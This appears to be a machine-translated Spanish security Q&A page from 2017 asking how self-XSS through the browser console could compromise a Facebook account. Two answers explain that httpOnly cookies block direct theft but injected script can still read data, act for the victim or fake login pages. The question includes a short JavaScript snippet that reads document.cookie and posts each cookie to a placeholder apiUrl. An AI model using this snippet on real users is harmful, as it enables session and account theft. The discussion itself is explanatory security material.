advertencia de Facebook de self-xss

6

Se me ocurrió abrir recientemente la consola de mi navegador en Facebook y me saludó con el siguiente mensaje.

  

¡Detente!

     

Esta es una característica del navegador destinada a los desarrolladores. Si alguien le dijo que copiara y pegara algo aquí para habilitar una función de Facebook o "piratear" la cuenta de alguien, es una estafa y le dará acceso a su cuenta de Facebook.

     

Consulte enlace para obtener más información.

Lo primero que pensé fue que esto era simplemente una matanza excesiva, tal vez con la intención de ahuyentar a los desprevenidos usuarios de Internet que copiarían y pegarían ciegamente un poco de Javascript en la consola con la esperanza de desbloquear un botón secreto de desagrado.

Pero en realidad he estado pensando más en cómo podría comprometer los datos de sesión de los usuarios desde la consola de Javascript.

Pensé en una secuencia de comandos sobre la variable document.cookie y publicar todos los datos de las cookies en una api. Algo similar al de abajo.

var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

Pero tengo entendido que agregar la marca http-only a una cookie significa que no se puede acceder a ella por javascript o por el lado del cliente.

Entonces, ¿cómo podría un atacante hacer que se comprometiera tu cuenta de Facebook solo por auto-xss?

    
pregunta Luke 25.04.2017 - 18:09
fuente

2 respuestas

4

La advertencia se refiere al "acceso a su cuenta de Facebook", no al control completo.

Self-XSS funciona como cualquier XSS. Si bien no puede leer la cookie de sesión httpOnly, puede:

  • lea los datos disponibles para el usuario atacado (mensajes, grupos secretos, informaciones de perfil, etc.)
  • enviar solicitudes arbitrarias en nombre del usuario atacado (enviar mensajes, crear publicaciones, etc.)
  • mostrar datos arbitrarios al usuario atacado (mensajes o publicaciones falsos, atacantes de phishing, etc.)
respondido por el tim 25.04.2017 - 18:49
fuente
0

Citar directamente de la respuesta de Abe Miessler :

  

"Los ataques de secuencias de comandos entre sitios (XSS) se producen cuando un atacante utiliza una aplicación web para enviar códigos maliciosos, generalmente en forma de una secuencia de comandos del lado del navegador, a un usuario final diferente."

     

Destacaría la última parte de esta definición: "... a un usuario final diferente".

     

En mi opinión, para calificar como un ataque XSS, deberías enviar una solicitud a un sitio web y hacer que ese sitio responda con el contenido malicioso. Las formas en que esto puede suceder generalmente se dividen en dos métodos diferentes:

Cuando convenzas a tu víctima de que ingrese texto a ciegas en la consola de su navegador, básicamente estás haciendo que ejecuten directamente los scripts de Javascript en su página. Esto no es técnicamente XSS, pero dejando de lado la semántica, hay otras cosas maliciosas que podría hacer con una completa capacidad de ejecución de scripts para una víctima:

  • Cree una página de inicio de sesión falsa o agregue sus propios recursos (o superposiciones).

  • Envía publicaciones, ejecuta otras acciones en su página (como publicar publicaciones, enviar fotos, lo que sea)

Como ya ha dicho, la configuración de la bandera de solo http en una cookie impide que se acceda a ella a través de la consola, pero ese no es el único vector de ataque que está disponible una vez que tiene los derechos de ejecución de código.

    
respondido por el thel3l 25.04.2017 - 18:35
fuente

Lea otras preguntas en las etiquetas